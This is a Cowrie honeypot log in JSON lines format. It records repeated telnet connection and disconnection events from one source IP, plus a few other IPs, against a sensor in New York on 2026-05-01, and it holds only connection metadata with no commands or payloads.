{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55580,"dst_ip":"159.203.135.109","dst_port":23,"session":"75046baa3ef6","protocol":"telnet","message":"New connection: 147.124.211.111:55580 (159.203.135.109:23) [session: 75046baa3ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:09.732582Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55582,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b71e1c60baa","protocol":"telnet","message":"New connection: 147.124.211.111:55582 (159.203.135.109:23) [session: 3b71e1c60baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:09.937876Z"}
{"eventid":"cowrie.session.closed","duration":30.782760858535767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:10.075190Z","src_ip":"147.124.211.111","session":"573039fb7ebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:10.458212Z","src_ip":"186.4.240.226","session":"ce632a5b17b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55570,"dst_ip":"159.203.135.109","dst_port":23,"session":"54dbe9deea26","protocol":"telnet","message":"New connection: 147.124.211.111:55570 (159.203.135.109:23) [session: 54dbe9deea26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:10.578460Z"}
{"eventid":"cowrie.session.closed","duration":31.167579174041748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:10.768784Z","src_ip":"147.124.211.111","session":"4d10e6f44748","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60950779914856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:11.424763Z","src_ip":"147.124.211.111","session":"adc666c407a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926048278808594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:11.459297Z","src_ip":"147.124.211.111","session":"0abbba9eee44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.384203910827637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:11.764405Z","src_ip":"147.124.211.111","session":"861114b92497","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51234,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cbab77a814d","protocol":"telnet","message":"New connection: 147.124.211.111:51234 (159.203.135.109:23) [session: 1cbab77a814d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:11.921888Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51224,"dst_ip":"159.203.135.109","dst_port":23,"session":"92a6ea6294df","protocol":"telnet","message":"New connection: 147.124.211.111:51224 (159.203.135.109:23) [session: 92a6ea6294df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:12.560730Z"}
{"eventid":"cowrie.session.closed","duration":31.703940868377686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:12.888026Z","src_ip":"147.124.211.111","session":"92b1c1fedcd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808435440063477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:13.034452Z","src_ip":"147.124.211.111","session":"1f4f3d25276e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51250,"dst_ip":"159.203.135.109","dst_port":23,"session":"b40bd66ea60d","protocol":"telnet","message":"New connection: 147.124.211.111:51250 (159.203.135.109:23) [session: b40bd66ea60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:13.379531Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51262,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b54ea4060b4","protocol":"telnet","message":"New connection: 147.124.211.111:51262 (159.203.135.109:23) [session: 3b54ea4060b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:13.383085Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51272,"dst_ip":"159.203.135.109","dst_port":23,"session":"928afc70e0fa","protocol":"telnet","message":"New connection: 147.124.211.111:51272 (159.203.135.109:23) [session: 928afc70e0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:15.171991Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51282,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0ce88517540","protocol":"telnet","message":"New connection: 147.124.211.111:51282 (159.203.135.109:23) [session: d0ce88517540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:15.338631Z"}
{"eventid":"cowrie.session.closed","duration":31.682149171829224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:15.700200Z","src_ip":"147.124.211.111","session":"66cb8f8753a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01193881034851,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:16.181865Z","src_ip":"147.124.211.111","session":"0d320de51db1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66513180732727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:16.397213Z","src_ip":"147.124.211.111","session":"a66bfefa50e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27840304374695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:16.631781Z","src_ip":"147.124.211.111","session":"9d0ba36af7e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.753020524978638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:16.984502Z","src_ip":"147.124.211.111","session":"243a9fffbfaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51292,"dst_ip":"159.203.135.109","dst_port":23,"session":"e998bc731d81","protocol":"telnet","message":"New connection: 147.124.211.111:51292 (159.203.135.109:23) [session: e998bc731d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:17.234128Z"}
{"eventid":"cowrie.session.closed","duration":30.636356115341187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:17.238026Z","src_ip":"147.124.211.111","session":"7dae634bfc97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.735393285751343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:17.418488Z","src_ip":"147.124.211.111","session":"adb9e57c7725","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.705121278762817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:18.037642Z","src_ip":"147.124.211.111","session":"26804f10030f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51308,"dst_ip":"159.203.135.109","dst_port":23,"session":"89e745224d8f","protocol":"telnet","message":"New connection: 147.124.211.111:51308 (159.203.135.109:23) [session: 89e745224d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:18.110214Z"}
{"eventid":"cowrie.session.closed","duration":30.482710123062134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:18.242866Z","src_ip":"147.124.211.111","session":"eaba43168541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51322,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e2df3dc6eaa","protocol":"telnet","message":"New connection: 147.124.211.111:51322 (159.203.135.109:23) [session: 0e2df3dc6eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:18.442054Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51324,"dst_ip":"159.203.135.109","dst_port":23,"session":"b310f4fa93a0","protocol":"telnet","message":"New connection: 147.124.211.111:51324 (159.203.135.109:23) [session: b310f4fa93a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:18.515190Z"}
{"eventid":"cowrie.session.closed","duration":30.922860860824585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:18.587875Z","src_ip":"147.124.211.111","session":"736a3ae60c63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.855767965316772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:18.929308Z","src_ip":"147.124.211.111","session":"f01ecf5cd459","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51338,"dst_ip":"159.203.135.109","dst_port":23,"session":"02c8babf9032","protocol":"telnet","message":"New connection: 147.124.211.111:51338 (159.203.135.109:23) [session: 02c8babf9032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:18.937731Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51340,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a17e3d58ab9","protocol":"telnet","message":"New connection: 147.124.211.111:51340 (159.203.135.109:23) [session: 1a17e3d58ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:19.001097Z"}
{"eventid":"cowrie.session.closed","duration":31.596648693084717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:19.005432Z","src_ip":"147.124.211.111","session":"5e6a31055b76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.18380379676819,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:19.129063Z","src_ip":"147.124.211.111","session":"06c0e79dfccb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51330,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f4926ccd73a","protocol":"telnet","message":"New connection: 147.124.211.111:51330 (159.203.135.109:23) [session: 9f4926ccd73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:19.587944Z"}
{"eventid":"cowrie.session.closed","duration":30.85349130630493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:20.247187Z","src_ip":"147.124.211.111","session":"cc854ba480e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10331130027771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:20.302807Z","src_ip":"147.124.211.111","session":"5221bd9b7cc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.698168754577637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:20.492772Z","src_ip":"147.124.211.111","session":"c112d671d9b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36826,"dst_ip":"159.203.135.109","dst_port":23,"session":"810816486343","protocol":"telnet","message":"New connection: 147.124.211.111:36826 (159.203.135.109:23) [session: 810816486343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:20.747047Z"}
{"eventid":"cowrie.session.closed","duration":31.2123806476593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:20.774136Z","src_ip":"147.124.211.111","session":"f33aef94f371","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36832,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2a067189171","protocol":"telnet","message":"New connection: 147.124.211.111:36832 (159.203.135.109:23) [session: d2a067189171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:21.299166Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36866,"dst_ip":"159.203.135.109","dst_port":23,"session":"98d220efe3cc","protocol":"telnet","message":"New connection: 147.124.211.111:36866 (159.203.135.109:23) [session: 98d220efe3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:22.696217Z"}
{"eventid":"cowrie.session.closed","duration":46.19678997993469,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:22.885693Z","src_ip":"137.184.155.248","session":"0a4c79f6a8ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36840,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5cca4ed6224","protocol":"telnet","message":"New connection: 147.124.211.111:36840 (159.203.135.109:23) [session: e5cca4ed6224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:22.992770Z"}
{"eventid":"cowrie.session.closed","duration":30.82015347480774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:23.233679Z","src_ip":"147.124.211.111","session":"c2427817879d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36880,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c034188e303","protocol":"telnet","message":"New connection: 147.124.211.111:36880 (159.203.135.109:23) [session: 5c034188e303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:23.446753Z"}
{"eventid":"cowrie.session.closed","duration":31.443035364151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:23.453465Z","src_ip":"147.124.211.111","session":"99d42142bdce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36896,"dst_ip":"159.203.135.109","dst_port":23,"session":"856175f2d48c","protocol":"telnet","message":"New connection: 147.124.211.111:36896 (159.203.135.109:23) [session: 856175f2d48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:23.884800Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36910,"dst_ip":"159.203.135.109","dst_port":23,"session":"42a60666e964","protocol":"telnet","message":"New connection: 147.124.211.111:36910 (159.203.135.109:23) [session: 42a60666e964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:23.888355Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36942,"dst_ip":"159.203.135.109","dst_port":23,"session":"558f0423a46f","protocol":"telnet","message":"New connection: 147.124.211.111:36942 (159.203.135.109:23) [session: 558f0423a46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:24.135751Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36884,"dst_ip":"159.203.135.109","dst_port":23,"session":"bce0912d7802","protocol":"telnet","message":"New connection: 147.124.211.111:36884 (159.203.135.109:23) [session: bce0912d7802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:24.786337Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36952,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce36503f1899","protocol":"telnet","message":"New connection: 147.124.211.111:36952 (159.203.135.109:23) [session: ce36503f1899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:24.881746Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36930,"dst_ip":"159.203.135.109","dst_port":23,"session":"076ed1656126","protocol":"telnet","message":"New connection: 147.124.211.111:36930 (159.203.135.109:23) [session: 076ed1656126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:25.106292Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36926,"dst_ip":"159.203.135.109","dst_port":23,"session":"399043686492","protocol":"telnet","message":"New connection: 147.124.211.111:36926 (159.203.135.109:23) [session: 399043686492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:25.111799Z"}
{"eventid":"cowrie.session.closed","duration":30.960055589675903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:25.381335Z","src_ip":"147.124.211.111","session":"d2bf85563764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36850,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ba1dfc59b04","protocol":"telnet","message":"New connection: 147.124.211.111:36850 (159.203.135.109:23) [session: 1ba1dfc59b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:25.618290Z"}
{"eventid":"cowrie.session.closed","duration":30.864026069641113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:25.638568Z","src_ip":"147.124.211.111","session":"d600055d6a3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36972,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f4400cc4386","protocol":"telnet","message":"New connection: 147.124.211.111:36972 (159.203.135.109:23) [session: 1f4400cc4386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:25.867279Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36982,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfadc3937985","protocol":"telnet","message":"New connection: 147.124.211.111:36982 (159.203.135.109:23) [session: dfadc3937985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:25.923481Z"}
{"eventid":"cowrie.session.closed","duration":30.93214249610901,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:26.132483Z","src_ip":"147.124.211.111","session":"75e4db06af13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36956,"dst_ip":"159.203.135.109","dst_port":23,"session":"602e9288071a","protocol":"telnet","message":"New connection: 147.124.211.111:36956 (159.203.135.109:23) [session: 602e9288071a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:26.436209Z"}
{"eventid":"cowrie.session.closed","duration":30.743745803833008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:27.690382Z","src_ip":"147.124.211.111","session":"217cd3c9dd58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37012,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aeea35047da","protocol":"telnet","message":"New connection: 147.124.211.111:37012 (159.203.135.109:23) [session: 9aeea35047da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:27.720250Z"}
{"eventid":"cowrie.session.closed","duration":30.91597628593445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:29.205671Z","src_ip":"147.124.211.111","session":"8ad85b572b2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37022,"dst_ip":"159.203.135.109","dst_port":23,"session":"f78b3805718f","protocol":"telnet","message":"New connection: 147.124.211.111:37022 (159.203.135.109:23) [session: f78b3805718f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:29.418030Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36994,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a1c90d97485","protocol":"telnet","message":"New connection: 147.124.211.111:36994 (159.203.135.109:23) [session: 5a1c90d97485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:29.778802Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44350,"dst_ip":"159.203.135.109","dst_port":23,"session":"08d725116461","protocol":"telnet","message":"New connection: 147.124.211.111:44350 (159.203.135.109:23) [session: 08d725116461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:29.968843Z"}
{"eventid":"cowrie.session.closed","duration":31.226282596588135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:30.204545Z","src_ip":"147.124.211.111","session":"b6f08203579f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44560694694519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:30.510842Z","src_ip":"147.124.211.111","session":"2909eb42405e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37002,"dst_ip":"159.203.135.109","dst_port":23,"session":"5807d86a4fbf","protocol":"telnet","message":"New connection: 147.124.211.111:37002 (159.203.135.109:23) [session: 5807d86a4fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:30.675000Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44354,"dst_ip":"159.203.135.109","dst_port":23,"session":"eafa1eac68b0","protocol":"telnet","message":"New connection: 147.124.211.111:44354 (159.203.135.109:23) [session: eafa1eac68b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:30.701771Z"}
{"eventid":"cowrie.session.closed","duration":31.503445625305176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:31.008333Z","src_ip":"147.124.211.111","session":"a4e710fcc562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.277488470077515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:31.615965Z","src_ip":"147.124.211.111","session":"229e5da2664c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.467875003814697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:31.651000Z","src_ip":"147.124.211.111","session":"316b4c47f9dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44360,"dst_ip":"159.203.135.109","dst_port":23,"session":"369205c38c19","protocol":"telnet","message":"New connection: 147.124.211.111:44360 (159.203.135.109:23) [session: 369205c38c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:32.195765Z"}
{"eventid":"cowrie.session.closed","duration":30.203475952148438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:33.032983Z","src_ip":"147.124.211.111","session":"b10ae1d3a710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44374,"dst_ip":"159.203.135.109","dst_port":23,"session":"20c2bc0820d2","protocol":"telnet","message":"New connection: 147.124.211.111:44374 (159.203.135.109:23) [session: 20c2bc0820d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:33.108720Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44384,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5358a507900","protocol":"telnet","message":"New connection: 147.124.211.111:44384 (159.203.135.109:23) [session: f5358a507900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:33.239355Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44390,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c7b1d18d168","protocol":"telnet","message":"New connection: 147.124.211.111:44390 (159.203.135.109:23) [session: 1c7b1d18d168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:33.420793Z"}
